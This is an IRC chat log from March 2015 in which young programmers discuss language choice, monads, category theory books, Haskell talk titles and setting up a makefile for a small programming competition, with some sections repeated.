[2015-03-04T13:53:25-0500] <+awe> Hyper: has to, as well. :p
[2015-03-04T13:53:42-0500] <Hyper> I have to do what?
[2015-03-04T13:53:44-0500] <+awe> But JacobEdelman_, your language choice is extremely mainstream.
[2015-03-04T13:53:57-0500] <Hyper> I don't really do anything special
[2015-03-04T13:54:05-0500] <+awe> Hyper: simultaneously differentiate yourself from non-systems programmers and from mainstream systems programmers (C/C++ users)
[2015-03-04T13:54:15-0500] <Hyper> uh
[2015-03-04T13:54:19-0500] <Hyper> I just use the language I like
[2015-03-04T13:54:23-0500] <Hyper> idk what you're talking about
[2015-03-04T13:54:48-0500] <grantwu> Miao miao miao miao miao
[2015-03-04T13:54:51-0500] <grantwu> I am a cat
[2015-03-04T13:55:00-0500] <+awe> It's not really anything special, but for example, if you had to introduce yourself in the context of programming skills, you might say you're a D programmer whereas someone who does both C/C++ is safe to say that they're a systems programmer and have it be understood properly.
[2015-03-04T13:55:03-0500] <grantwu> I am so hipster wow
[2015-03-04T13:56:40-0500] <JacobEdelman_> awe: not within my peer group
[2015-03-04T13:56:43-0500] <+awe> JacobEdelman_: ???
[2015-03-04T13:56:46-0500] <+awe> JacobEdelman_: yes within your peer group.
[2015-03-04T13:57:02-0500] <+awe> There are more people here who do JS/Python than there are who do Rust/D.
[2015-03-04T13:57:29-0500] <+awe> There's a single person who uses D, and only two people who actively use Rust, and then there's nezorg.
[2015-03-04T13:58:15-0500] <+awe> JacobEdelman_: if you mean your peer group expanded to include all of the hackathon types, almost everyone does JS/Python and almost nobody does low-level languages.
[2015-03-04T13:58:43-0500] <+awe> JacobEdelman_: If you mean only within your high school where the only exposure most of the kids have is in a classroom setting, then yes, you're finally not in the majority where they all use Java and you don't.
[2015-03-04T13:58:58-0500] <+awe> Pharyngeal: I am completely unable to connect to HypeIRC right now?
[2015-03-04T13:59:12-0500] <JacobEdelman_> Here rust/functional stuff is respected more
[2015-03-04T13:59:24-0500] <+awe> That's only because I exist here.
[2015-03-04T13:59:58-0500] <+awe> And also because I don't think anyone here thinks functional programming is a bad idea, but almost everyone here knows Python/JS.
[2015-03-04T14:00:04-0500] <+awe> Which means that Python/JS is not special, but functional programming is.
[2015-03-04T14:00:38-0500] <+awe> "So my hypothesis is that if a certain side of an issue has very obvious points in support of it, and the other side of an issue relies on much more subtle points that the average person might not be expected to grasp, then adopting the second side of the issue will become a signal for intelligence, even if that side of the argument is wrong."
[2015-03-04T14:00:40-0500] <+awe> This is interesting.
[2015-03-04T14:01:30-0500] <+awe> JacobEdelman_: why do they seem to omit the th in their/they/etc?
[2015-03-04T14:11:53-0500] <JacobEdelman_> No idea
[2015-03-04T14:12:12-0500] <JacobEdelman_> Look it up on eir site
[2015-03-04T14:15:09-0500] <+awe> JacobEdelman_: "Seek sex + money / pursue only pure truth and virtue / seek sex + money"
[2015-03-04T14:15:11-0500] <+awe> lol
[2015-03-04T14:15:17-0500] <+awe> http://lesswrong.com/lw/fk/survey_results/
[2015-03-04T14:15:24-0500] <+awe> The demographics on this site are awful though.
[2015-03-04T14:16:12-0500] <+awe> they're all mid-20s white Christian-born libertarian atheists.
[2015-03-04T14:16:24-0500] <+awe> And they all think they're smarter than the average person.
[2015-03-04T14:20:06-0500] <grantwu> oh boi oh boi oh boi
[2015-03-04T14:20:28-0500] <grantwu> Kleene algebra homomorphisms kill me now -_-
[2015-03-04T14:20:44-0500] <+awe> JacobEdelman_: did you ever read the articles I linked on why monads?
[2015-03-04T14:23:11-0500] <grantwu> https://existentialtype.wordpress.com/2011/05/01/of-course-ml-has-monads/ interesting
[2015-03-04T14:26:27-0500] <JacobEdelman_> Yudkowsky is Jewish born
[2015-03-04T14:26:53-0500] <JacobEdelman_> Will read soon
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[2015-03-04T14:30:05-0500] <+awe> grantwu: for the record, anything you link me about monads will probably get read lol
[2015-03-04T14:31:26-0500] <+awe> Pharyngeal: Yeah, I updated cjdns on all my machines and I still cannot connect to HypeIRC.
[2015-03-04T14:33:05-0500] <grantwu> awe: wait soooooo in order to disable you I just need to link you really long articles on monads
[2015-03-04T14:33:11-0500] <+awe> Lol.
[2015-03-04T14:33:12-0500] <+awe> Probably.
[2015-03-04T14:33:26-0500] <+awe> Also articles about monads and long articles about monads are synonymous
[2015-03-04T14:33:30-0500] <+awe> I don't think I've ever seen a short one.
[2015-03-04T14:33:39-0500] <grantwu> http://www.amazon.com/Algebra-Graduate-Texts-Mathematics-Serge/dp/038795385X
[2015-03-04T14:33:50-0500] <grantwu> GUYS AWE ISN'T HERE SPAM THE CHAT WITH CAT PIX
[2015-03-04T14:35:31-0500] <+awe> I don't like that this ML article thinks that using the IO monad (or any other monad) means you can only write algol-style imperative code.
[2015-03-04T14:35:38-0500] <+awe> It's like he's never heard of liftM.
[2015-03-04T14:36:00-0500] <grantwu> egh, see the comments
[2015-03-04T14:37:47-0500] <+awe> I see a sort of related comment toward the top.
[2015-03-04T14:37:54-0500] <+awe> But nothing about liftM et al.
[2015-03-04T14:39:18-0500] <grantwu> true
[2015-03-04T14:43:06-0500] <+awe> This whole thing is weird because it seems like he thinks benign effects are more common than they are.
[2015-03-04T14:47:56-0500] <+awe> grantwu: also an algebra text book is not the answer lol
[2015-03-04T14:48:14-0500] <grantwu>  uh.... I googled "category theory books" 
[2015-03-04T14:48:22-0500] <+awe> http://www.amazon.com/Categories-Working-Mathematician-Graduate-Mathematics/dp/0387984038/ref=sr_1_4?s=books&ie=UTF8&qid=1425498486&sr=1-4&keywords=category+theory
[2015-03-04T14:48:25-0500] <+awe> That'd work.
[2015-03-04T14:48:50-0500] <grantwu> http://math.stackexchange.com/questions/370/good-books-and-lecture-notes-about-category-theory is where I got it
[2015-03-04T14:48:56-0500] <+awe> Oh, cool.
[2015-03-04T14:49:26-0500] <grantwu> lol your book is the 2nd answer
[2015-03-04T14:50:47-0500] <+awe> :)
[2015-03-04T14:52:10-0500] <grantwu> awe what is a good name for a talk on Haskell
[2015-03-04T14:52:19-0500] <+awe> You're giving one?
[2015-03-04T14:52:20-0500] <grantwu> computer club is doing a bunch of programming language talks
[2015-03-04T14:52:29-0500] <grantwu> No pls I don't know Haskell
[2015-03-04T14:52:37-0500] <+awe> Well, it depends specifically on their topic.
[2015-03-04T14:52:38-0500] <grantwu> But... I help make the flyers?
[2015-03-04T14:52:41-0500] <grantwu> Introductory
[2015-03-04T14:52:55-0500] <+awe> It depends on how they're introducing it, why they're introducing it
[2015-03-04T14:53:02-0500] <+awe> If it's about the language, the title should focus on Haskell.
[2015-03-04T14:53:13-0500] <grantwu> Currently titles are in form
[2015-03-04T14:53:21-0500] <+awe> If it's introducing Haskell as a medium for exploring something like monads, the title should be about monads.
[2015-03-04T14:53:23-0500] <grantwu> Language Name: Interesting Words
[2015-03-04T14:53:26-0500] <grantwu> It's not about monads
[2015-03-04T14:53:33-0500] <grantwu> For example we have
[2015-03-04T14:53:42-0500] <grantwu> Clojure: An elegant weapon
[2015-03-04T14:53:53-0500] <grantwu> Haskell: Safe, powerful abstractions for the working programmer
[2015-03-04T14:54:05-0500] <grantwu> ^ far far too long for the poster though, so we need to cut that down by a lot
[2015-03-04T14:54:15-0500] <grantwu> Verilog: Coding hardware
[2015-03-04T14:56:06-0500] <+awe> Abstraction for the Modern Man?
[2015-03-04T14:56:07-0500] <+awe> I dunno.
[2015-03-04T15:17:47-0500] <JacobEdelman_> gusy
[2015-03-04T15:17:49-0500] <JacobEdelman_> *guys
[2015-03-04T15:18:04-0500] <JacobEdelman_> HSCTF is gonna use hamelin!
[2015-03-04T15:18:25-0500] <JacobEdelman_> in other news
[2015-03-04T15:18:47-0500] <JacobEdelman_> in other news
[2015-03-04T15:19:00-0500] <JacobEdelman_> awebot messaged me again
[2015-03-04T15:19:34-0500] <JacobEdelman_> did you seriosly sit down and write these awebot messages?
[2015-03-04T15:19:38-0500] <+awe> Yes.
[2015-03-04T15:20:04-0500] <+awe> JacobEdelman_: https://github.com/aatxe/awebot-plugins/blob/master/lewd/src/lib.rs#L13
[2015-03-04T15:20:28-0500] <JacobEdelman_> oh god
[2015-03-04T15:20:35-0500] <JacobEdelman_> I can't be looking at that in school
[2015-03-04T15:20:42-0500] • JacobEdelman_: bookmarks tab
[2015-03-04T15:20:44-0500] <JacobEdelman_> :P
[2015-03-04T15:22:07-0500] <+awe> Sure you can.
[2015-03-04T15:22:08-0500] <+awe> It's just code.
[2015-03-04T15:22:09-0500] <+awe> ;)
[2015-03-04T15:22:30-0500] <JacobEdelman_> lol
[2015-03-04T15:22:52-0500] <JacobEdelman_> so
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[2015-03-04T15:28:38-0500] <+awe> So, why have you folks not contributed anything to the Pdgn blog yet?
[2015-03-04T15:28:45-0500] <+awe> JacobEdelman_: especially you
[2015-03-04T15:50:35-0500]  
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[2015-03-04T15:50:37-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-04T14:39:17-0500] <grantwu> true
[2015-03-04T14:43:06-0500] <+awe> This whole thing is weird because it seems like he thinks benign effects are more common than they are.
[2015-03-04T14:47:56-0500] <+awe> grantwu: also an algebra text book is not the answer lol
[2015-03-04T14:48:14-0500] <grantwu>  uh.... I googled "category theory books" 
[2015-03-04T14:48:22-0500] <+awe> http://www.amazon.com/Categories-Working-Mathematician-Graduate-Mathematics/dp/0387984038/ref=sr_1_4?s=books&ie=UTF8&qid=1425498486&sr=1-4&keywords=category+theory
[2015-03-04T14:48:25-0500] <+awe> That'd work.
[2015-03-04T14:48:49-0500] <grantwu> http://math.stackexchange.com/questions/370/good-books-and-lecture-notes-about-category-theory is where I got it
[2015-03-04T14:48:56-0500] <+awe> Oh, cool.
[2015-03-04T14:49:26-0500] <grantwu> lol your book is the 2nd answer
[2015-03-04T14:50:47-0500] <+awe> :)
[2015-03-04T14:52:10-0500] <grantwu> awe what is a good name for a talk on Haskell
[2015-03-04T14:52:19-0500] <+awe> You're giving one?
[2015-03-04T14:52:20-0500] <grantwu> computer club is doing a bunch of programming language talks
[2015-03-04T14:52:29-0500] <grantwu> No pls I don't know Haskell
[2015-03-04T14:52:37-0500] <+awe> Well, it depends specifically on their topic.
[2015-03-04T14:52:37-0500] <grantwu> But... I help make the flyers?
[2015-03-04T14:52:41-0500] <grantwu> Introductory
[2015-03-04T14:52:55-0500] <+awe> It depends on how they're introducing it, why they're introducing it
[2015-03-04T14:53:02-0500] <+awe> If it's about the language, the title should focus on Haskell.
[2015-03-04T14:53:13-0500] <grantwu> Currently titles are in form
[2015-03-04T14:53:21-0500] <+awe> If it's introducing Haskell as a medium for exploring something like monads, the title should be about monads.
[2015-03-04T14:53:23-0500] <grantwu> Language Name: Interesting Words
[2015-03-04T14:53:25-0500] <grantwu> It's not about monads
[2015-03-04T14:53:33-0500] <grantwu> For example we have
[2015-03-04T14:53:42-0500] <grantwu> Clojure: An elegant weapon
[2015-03-04T14:53:53-0500] <grantwu> Haskell: Safe, powerful abstractions for the working programmer
[2015-03-04T14:54:05-0500] <grantwu> ^ far far too long for the poster though, so we need to cut that down by a lot
[2015-03-04T14:54:14-0500] <grantwu> Verilog: Coding hardware
[2015-03-04T14:56:05-0500] <+awe> Abstraction for the Modern Man?
[2015-03-04T14:56:07-0500] <+awe> I dunno.
[2015-03-04T15:17:47-0500] <JacobEdelman_> gusy
[2015-03-04T15:17:48-0500] <JacobEdelman_> *guys
[2015-03-04T15:18:03-0500] <JacobEdelman_> HSCTF is gonna use hamelin!
[2015-03-04T15:18:25-0500] <JacobEdelman_> in other news
[2015-03-04T15:18:47-0500] <JacobEdelman_> in other news
[2015-03-04T15:18:59-0500] <JacobEdelman_> awebot messaged me again
[2015-03-04T15:19:34-0500] <JacobEdelman_> did you seriosly sit down and write these awebot messages?
[2015-03-04T15:19:37-0500] <+awe> Yes.
[2015-03-04T15:20:04-0500] <+awe> JacobEdelman_: https://github.com/aatxe/awebot-plugins/blob/master/lewd/src/lib.rs#L13
[2015-03-04T15:20:28-0500] <JacobEdelman_> oh god
[2015-03-04T15:20:34-0500] <JacobEdelman_> I can't be looking at that in school
[2015-03-04T15:20:41-0500] • JacobEdelman_: bookmarks tab
[2015-03-04T15:20:43-0500] <JacobEdelman_> :P
[2015-03-04T15:22:07-0500] <+awe> Sure you can.
[2015-03-04T15:22:08-0500] <+awe> It's just code.
[2015-03-04T15:22:09-0500] <+awe> ;)
[2015-03-04T15:22:30-0500] <JacobEdelman_> lol
[2015-03-04T15:22:52-0500] <JacobEdelman_> so
[2015-03-04T15:28:37-0500] <+awe> So, why have you folks not contributed anything to the Pdgn blog yet?
[2015-03-04T15:28:45-0500] <+awe> JacobEdelman_: especially you
[2015-03-04T15:50:37-0500] Mode is +nt
[2015-03-04T15:55:51-0500] <JacobEdelman_> oh
[2015-03-04T15:55:55-0500] <JacobEdelman_> I had something I was gonna write
[2015-03-04T15:55:58-0500] <JacobEdelman_> than stuff happened
[2015-03-04T15:56:03-0500] <JacobEdelman_> hmm
[2015-03-04T15:56:07-0500] <JacobEdelman_> what should I write about?
[2015-03-04T15:56:28-0500] <JacobEdelman_> I'll write something
[2015-03-04T15:56:30-0500] <JacobEdelman_> supporting
[2015-03-04T15:56:42-0500] <JacobEdelman_> obtuse metaprogramming
[2015-03-04T15:56:45-0500] <JacobEdelman_> nah
[2015-03-04T15:56:48-0500] <JacobEdelman_> actually
[2015-03-04T15:56:51-0500] <JacobEdelman_> I need something better
[2015-03-04T15:59:28-0500] <JacobEdelman_> on an entirely different note: http://xkcd.com/blue_eyes.html
[2015-03-04T16:01:36-0500] <Hyper> awe: so I'm doing a job interview thing on hackerrank right now
[2015-03-04T16:01:50-0500] <Hyper> but the last problem is exponential, and hackerrank imposes a very low memory limit
[2015-03-04T16:02:26-0500] <Hyper> so despite the fact that I've solved the problem, my solution errors out because the intermediate things required in the solution don't actually fit in memory
[2015-03-04T16:02:28-0500] <Hyper> \o/
[2015-03-04T16:04:22-0500] <+awe> Hyper: nice.
[2015-03-04T16:06:20-0500] <+awe> JacobEdelman_: do you know the answer?
[2015-03-04T16:08:49-0500] <+awe> Oh, I found it.
[2015-03-04T16:10:27-0500] <+awe> That's interesting.
[2015-03-04T16:10:50-0500] <Hyper> gah this is a pain, I actually want to submit this and do other stuff >_>
[2015-03-04T16:20:09-0500] <JacobEdelman_> yup
[2015-03-04T16:20:11-0500] <JacobEdelman_> i got it
[2015-03-04T16:20:15-0500] <JacobEdelman_> ezra and I worked together
[2015-03-04T16:20:55-0500] <JacobEdelman_> *actual
[2015-03-04T16:20:55-0500] <JacobEdelman_> exponential
[2015-03-04T16:20:55-0500] <JacobEdelman_> Hyper: no way
[2015-03-04T16:20:56-0500] <+awe> Cool.
[2015-03-04T16:20:56-0500] <JacobEdelman_> is the actualy solution
[2015-03-04T16:21:05-0500] <JacobEdelman_> exponential
[2015-03-04T16:21:31-0500] <Hyper> JacobEdelman_: not for what you posted
[2015-03-04T16:21:43-0500] <Hyper> for a job interview question
[2015-03-04T16:22:18-0500] <JacobEdelman_> yeah
[2015-03-04T16:22:19-0500] <JacobEdelman_> I know
[2015-03-04T16:22:24-0500] <JacobEdelman_> and I'm still saying
[2015-03-04T16:22:28-0500] <JacobEdelman_> no way is it exponential
[2015-03-04T16:22:42-0500] <Hyper> it requires 2^n lists.
[2015-03-04T16:22:45-0500] <Hyper> >_>
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[2015-03-04T16:49:09-0500] <JacobEdelman_> Really?
[2015-03-04T16:49:18-0500] <JacobEdelman_> Can I see it?
[2015-03-04T16:54:46-0500] <Hyper> JacobEdelman_: too late, I've closed it
[2015-03-04T16:55:04-0500] <Hyper> I mean you could technically do this lazily but I don't care enough to spend the time on that
[2015-03-04T16:55:44-0500] <Hyper> or use a running sum
[2015-03-04T16:55:47-0500] <Hyper> but whatever
[2015-03-04T16:57:11-0500] <JacobEdelman_> It was former l doable in poly, I promise
[2015-03-04T17:00:42-0500] <Hyper> https://github.com/Pdgn/programming-competitions/issues
[2015-03-04T17:00:46-0500] <Hyper> this lack of submissions
[2015-03-04T17:00:46-0500] <Hyper> pls
[2015-03-04T17:01:35-0500] <JacobEdelman_> I'm lazy 
[2015-03-04T17:01:37-0500] <JacobEdelman_> sorry
[2015-03-04T17:01:43-0500] <JacobEdelman_> but awe has no excuse
[2015-03-04T17:01:48-0500] <+awe> ???
[2015-03-04T17:01:49-0500] <JacobEdelman_> I posted my version and everything
[2015-03-04T17:01:50-0500] <JacobEdelman_> wait
[2015-03-04T17:01:55-0500] <+awe> You also have no excuse.
[2015-03-04T17:01:58-0500] <+awe> You MADE ONE.
[2015-03-04T17:01:59-0500] <JacobEdelman_> fine
[2015-03-04T17:02:02-0500] <JacobEdelman_> I'll submit
[2015-03-04T17:02:28-0500] <JacobEdelman_> howze do I submit?
[2015-03-04T17:02:30-0500] <Hyper> it'd suck to see JacobEdelman_ win by default
[2015-03-04T17:02:41-0500] <JacobEdelman_> it would be awesome!
[2015-03-04T17:02:46-0500] <Hyper> JacobEdelman_: read the rules file.
[2015-03-04T17:03:26-0500] <JacobEdelman_> I'm too lazy to make a make file
[2015-03-04T17:03:35-0500] <JacobEdelman_> I'd do that if there were dozens of people comeptting but...
[2015-03-04T17:03:56-0500] <JacobEdelman_> (note: if you want more people, just ask, i can get you a couple hundred hs students easily)
[2015-03-04T17:04:01-0500] <Hyper> JacobEdelman_: your makefile literally needs to have run: python thing.py $1
[2015-03-04T17:04:10-0500] <JacobEdelman_> is that all it needsto say?
[2015-03-04T17:04:13-0500] <JacobEdelman_> cause I can do that
[2015-03-04T17:04:23-0500] <Hyper> it needs to have empty install and setup targets
[2015-03-04T17:04:26-0500] <Hyper> but that's easy
[2015-03-04T17:04:29-0500] <Hyper> instal:
[2015-03-04T17:04:32-0500] <Hyper> setup:
[2015-03-04T17:04:36-0500] <Hyper> but spelled right
[2015-03-04T17:05:47-0500] <JacobEdelman_> make: *** No rule to make target `python', needed by `run'.  Stop.
[2015-03-04T17:05:56-0500] <+awe> lol
[2015-03-04T17:06:00-0500] <+awe> he forgot the run:
[2015-03-04T17:06:22-0500] <+awe> Wait, no he didn't.
[2015-03-04T17:06:32-0500] <Hyper> JacobEdelman_: I'm sure you can figure out how to makefile
[2015-03-04T17:06:37-0500] <+awe> JacobEdelman_: next line
[2015-03-04T17:06:48-0500] <+awe> run:\n  python thing.py $1
[2015-03-04T17:06:52-0500] <JacobEdelman_> oh
[2015-03-04T17:06:53-0500] <+awe> first line is for dependencies
[2015-03-04T17:08:24-0500] <JacobEdelman_> the argument is being passed to the python file
[2015-03-04T17:09:14-0500] <Hyper> hmm?
[2015-03-04T17:09:24-0500] <+awe> That's the point?
[2015-03-04T17:09:32-0500] <JacobEdelman_> isn't
[2015-03-04T17:09:34-0500] <JacobEdelman_> I meant isn't
[2015-03-04T17:09:38-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/5kOj0TpD
[2015-03-04T17:11:32-0500] <Hyper> JacobEdelman_: use ${n} as the argument, and run the makefile as make n=SOMENUMBER run 
[2015-03-04T17:13:30-0500] <JacobEdelman_> done
[2015-03-04T17:14:20-0500] <JacobEdelman_> also
[2015-03-04T17:14:22-0500] <JacobEdelman_> its not a good sign
[2015-03-04T17:14:34-0500] <JacobEdelman_> if they only entrance into an optimization competition
[2015-03-04T17:14:36-0500] <JacobEdelman_> is in python
[2015-03-04T17:23:45-0500] <Hyper> JacobEdelman_: what do you want me to do you scared everyone away >_>
[2015-03-04T17:29:29-0500] <+awe> JacobEdelman_: what it's a sign of is that someone turned it into an algorithm competition.
[2015-03-04T17:29:32-0500] • awe: glares at JacobEdelman_.
[2015-03-04T17:29:44-0500] <JacobEdelman_> well
[2015-03-04T17:29:51-0500] <JacobEdelman_> you guys didn't think it was possible
[2015-03-04T17:29:58-0500] <JacobEdelman_> but everything is just algo
[2015-03-04T17:30:00-0500] <JacobEdelman_> I mean
[2015-03-04T17:30:02-0500] <+awe> I ABSOLUTELY THOUGHT IT WAS POSSIBLE
[2015-03-04T17:30:11-0500] <JacobEdelman_> unless you choose a specific algo
[2015-03-04T17:30:17-0500] <JacobEdelman_> than I will find a better way
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[2015-03-04T18:55:50-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-04T17:01:55-0500] <+awe> You also have no excuse.
[2015-03-04T17:01:58-0500] <+awe> You MADE ONE.
[2015-03-04T17:01:58-0500] <JacobEdelman_> fine
[2015-03-04T17:02:01-0500] <JacobEdelman_> I'll submit
[2015-03-04T17:02:28-0500] <JacobEdelman_> howze do I submit?
[2015-03-04T17:02:30-0500] <Hyper> it'd suck to see JacobEdelman_ win by default
[2015-03-04T17:02:41-0500] <JacobEdelman_> it would be awesome!
[2015-03-04T17:02:46-0500] <Hyper> JacobEdelman_: read the rules file.
[2015-03-04T17:03:26-0500] <JacobEdelman_> I'm too lazy to make a make file
[2015-03-04T17:03:34-0500] <JacobEdelman_> I'd do that if there were dozens of people comeptting but...
[2015-03-04T17:03:56-0500] <JacobEdelman_> (note: if you want more people, just ask, i can get you a couple hundred hs students easily)
[2015-03-04T17:04:01-0500] <Hyper> JacobEdelman_: your makefile literally needs to have run: python thing.py $1
[2015-03-04T17:04:10-0500] <JacobEdelman_> is that all it needsto say?
[2015-03-04T17:04:13-0500] <JacobEdelman_> cause I can do that
[2015-03-04T17:04:23-0500] <Hyper> it needs to have empty install and setup targets
[2015-03-04T17:04:26-0500] <Hyper> but that's easy
[2015-03-04T17:04:29-0500] <Hyper> instal:
[2015-03-04T17:04:31-0500] <Hyper> setup:
[2015-03-04T17:04:36-0500] <Hyper> but spelled right
[2015-03-04T17:05:47-0500] <JacobEdelman_> make: *** No rule to make target `python', needed by `run'.  Stop.
[2015-03-04T17:05:56-0500] <+awe> lol
[2015-03-04T17:06:00-0500] <+awe> he forgot the run:
[2015-03-04T17:06:22-0500] <+awe> Wait, no he didn't.
[2015-03-04T17:06:32-0500] <Hyper> JacobEdelman_: I'm sure you can figure out how to makefile
[2015-03-04T17:06:37-0500] <+awe> JacobEdelman_: next line
[2015-03-04T17:06:48-0500] <+awe> run:\n  python thing.py $1
[2015-03-04T17:06:52-0500] <JacobEdelman_> oh
[2015-03-04T17:06:53-0500] <+awe> first line is for dependencies
[2015-03-04T17:08:24-0500] <JacobEdelman_> the argument is being passed to the python file
[2015-03-04T17:09:14-0500] <Hyper> hmm?
[2015-03-04T17:09:24-0500] <+awe> That's the point?
[2015-03-04T17:09:32-0500] <JacobEdelman_> isn't
[2015-03-04T17:09:34-0500] <JacobEdelman_> I meant isn't
[2015-03-04T17:09:37-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/5kOj0TpD
[2015-03-04T17:11:32-0500] <Hyper> JacobEdelman_: use ${n} as the argument, and run the makefile as make n=SOMENUMBER run 
[2015-03-04T17:13:30-0500] <JacobEdelman_> done
[2015-03-04T17:14:20-0500] <JacobEdelman_> also
[2015-03-04T17:14:22-0500] <JacobEdelman_> its not a good sign
[2015-03-04T17:14:34-0500] <JacobEdelman_> if they only entrance into an optimization competition
[2015-03-04T17:14:36-0500] <JacobEdelman_> is in python
[2015-03-04T17:23:44-0500] <Hyper> JacobEdelman_: what do you want me to do you scared everyone away >_>
[2015-03-04T17:29:28-0500] <+awe> JacobEdelman_: what it's a sign of is that someone turned it into an algorithm competition.
[2015-03-04T17:29:32-0500] • awe: glares at JacobEdelman_.
[2015-03-04T17:29:44-0500] <JacobEdelman_> well
[2015-03-04T17:29:51-0500] <JacobEdelman_> you guys didn't think it was possible
[2015-03-04T17:29:58-0500] <JacobEdelman_> but everything is just algo
[2015-03-04T17:30:00-0500] <JacobEdelman_> I mean
[2015-03-04T17:30:02-0500] <+awe> I ABSOLUTELY THOUGHT IT WAS POSSIBLE
[2015-03-04T17:30:11-0500] <JacobEdelman_> unless you choose a specific algo
[2015-03-04T17:30:17-0500] <JacobEdelman_> than I will find a better way
[2015-03-04T18:55:51-0500] Mode is +nt
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[2015-03-04T19:46:10-0500] <ubuntor> use a task that doesn't really allow for alternate algos
[2015-03-04T19:46:15-0500] <ubuntor> like maybe an image format decoder?
[2015-03-04T19:49:12-0500] <+awe> ubuntor: Or just force an algo.
[2015-03-04T19:49:22-0500] <ubuntor> that works
[2015-03-04T19:49:32-0500] <+awe> I think a little of both would be interesting.
[2015-03-04T19:49:44-0500] <+awe> Both problems that aren't really algorithmic at all, and also ones with specific algorithms.
[2015-03-04T19:50:07-0500] <bob_twinkles> you could do something like JPEG decoding with a speed metric
[2015-03-04T19:50:28-0500] <+awe> https://github.com/sfackler/rust-openssl/pull/175 sfackler pls
[2015-03-04T19:50:32-0500] <+awe> merge dis
[2015-03-04T19:50:41-0500] <bob_twinkles> since it's a specific format but there's a few different ways to do the DCT computation
[2015-03-04T20:07:29-0500] <hardmath123> JacobEdelman_: Re "HSCTF is gonna use hamelin!" :D :D :D
[2015-03-04T20:07:43-0500] <JacobEdelman_> yup
[2015-03-04T20:08:20-0500] <+awe> Better be my implementation though.
[2015-03-04T20:08:21-0500] <JacobEdelman_> if you give me problems that arn
[2015-03-04T20:08:27-0500] <JacobEdelman_> *arn't algorithmic
[2015-03-04T20:08:32-0500] <JacobEdelman_> I will find a better algo
[2015-03-04T20:08:34-0500] <JacobEdelman_> don't worry
[2015-03-04T20:09:15-0500] <+awe> JacobEdelman_: build an echo server, maximize for requests per minute
[2015-03-04T20:09:24-0500] <JacobEdelman_> algo
[2015-03-04T20:09:41-0500] <+awe> ???
[2015-03-04T20:09:45-0500] <+awe> Nothing about that is algo at all.
[2015-03-04T20:09:50-0500] <JacobEdelman_> ITS ALL ALGO!
[2015-03-04T20:12:01-0500] <JacobEdelman_> :P
[2015-03-04T20:16:19-0500] <+awe> JacobEdelman_: o ok
[2015-03-04T20:16:27-0500] <+awe> JacobEdelman_: You said it very loudly, and therefore it was convincing.
[2015-03-04T20:16:49-0500] <JacobEdelman_> good
[2015-03-04T20:16:56-0500] <JacobEdelman_> I've learned a lot from you
[2015-03-04T20:23:04-0500] <Hyper> oh snap!
[2015-03-04T20:24:16-0500] <+awe> That's not really a burn. It's totally true. People get convinced by talking loudly.
[2015-03-04T21:09:56-0500] <hardmath123> THAT'S NOT TRUE AND YOU KNOW IT.
[2015-03-04T21:16:16-0500] <+awe> hardmath123: I think you might be right.
[2015-03-04T21:16:22-0500] <+awe> ;)
[2015-03-04T21:19:09-0500] <+awe> hardmath123: hamelin is as closed to being on the new IO libraries as it possibly can be right now.
[2015-03-04T21:19:41-0500] <+awe> std::io is in use everywhere except within the backend where I still need to use std::old_io::process because the new std::process is super conservative and doesn't support exposing file descriptors to me.
[2015-03-04T21:20:11-0500] <hardmath123> That means nothing to me, but congratulations, I guess? :)
[2015-03-04T21:20:20-0500] • hardmath123: isn't a rusty.
[2015-03-04T21:26:49-0500] <+awe> It means that it builds again. :p
[2015-03-04T21:28:06-0500] <grantwu> err well that was 6 hours but yeahhhh
[2015-03-04T21:28:58-0500] <hardmath123> :D
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[2015-03-04T21:46:59-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-04T17:23:44-0500] <Hyper> JacobEdelman_: what do you want me to do you scared everyone away >_>
[2015-03-04T17:29:28-0500] <+awe> JacobEdelman_: what it's a sign of is that someone turned it into an algorithm competition.
[2015-03-04T17:29:32-0500] • awe: glares at JacobEdelman_.
[2015-03-04T17:29:44-0500] <JacobEdelman_> well
[2015-03-04T17:29:51-0500] <JacobEdelman_> you guys didn't think it was possible
[2015-03-04T17:29:58-0500] <JacobEdelman_> but everything is just algo
[2015-03-04T17:30:00-0500] <JacobEdelman_> I mean
[2015-03-04T17:30:02-0500] <+awe> I ABSOLUTELY THOUGHT IT WAS POSSIBLE
[2015-03-04T17:30:11-0500] <JacobEdelman_> unless you choose a specific algo
[2015-03-04T17:30:17-0500] <JacobEdelman_> than I will find a better way
[2015-03-04T19:46:10-0500] <ubuntor> use a task that doesn't really allow for alternate algos
[2015-03-04T19:46:15-0500] <ubuntor> like maybe an image format decoder?
[2015-03-04T19:49:11-0500] <+awe> ubuntor: Or just force an algo.
[2015-03-04T19:49:22-0500] <ubuntor> that works
[2015-03-04T19:49:32-0500] <+awe> I think a little of both would be interesting.
[2015-03-04T19:49:44-0500] <+awe> Both problems that aren't really algorithmic at all, and also ones with specific algorithms.
[2015-03-04T19:50:07-0500] <bob_twinkles> you could do something like JPEG decoding with a speed metric
[2015-03-04T19:50:28-0500] <+awe> https://github.com/sfackler/rust-openssl/pull/175 sfackler pls
[2015-03-04T19:50:32-0500] <+awe> merge dis
[2015-03-04T19:50:41-0500] <bob_twinkles> since it's a specific format but there's a few different ways to do the DCT computation
[2015-03-04T20:07:28-0500] <hardmath123> JacobEdelman_: Re "HSCTF is gonna use hamelin!" :D :D :D
[2015-03-04T20:07:43-0500] <JacobEdelman_> yup
[2015-03-04T20:08:20-0500] <+awe> Better be my implementation though.
[2015-03-04T20:08:21-0500] <JacobEdelman_> if you give me problems that arn
[2015-03-04T20:08:27-0500] <JacobEdelman_> *arn't algorithmic
[2015-03-04T20:08:32-0500] <JacobEdelman_> I will find a better algo
[2015-03-04T20:08:34-0500] <JacobEdelman_> don't worry
[2015-03-04T20:09:15-0500] <+awe> JacobEdelman_: build an echo server, maximize for requests per minute
[2015-03-04T20:09:24-0500] <JacobEdelman_> algo
[2015-03-04T20:09:40-0500] <+awe> ???
[2015-03-04T20:09:45-0500] <+awe> Nothing about that is algo at all.
[2015-03-04T20:09:50-0500] <JacobEdelman_> ITS ALL ALGO!
[2015-03-04T20:12:01-0500] <JacobEdelman_> :P
[2015-03-04T20:16:19-0500] <+awe> JacobEdelman_: o ok
[2015-03-04T20:16:27-0500] <+awe> JacobEdelman_: You said it very loudly, and therefore it was convincing.
[2015-03-04T20:16:49-0500] <JacobEdelman_> good
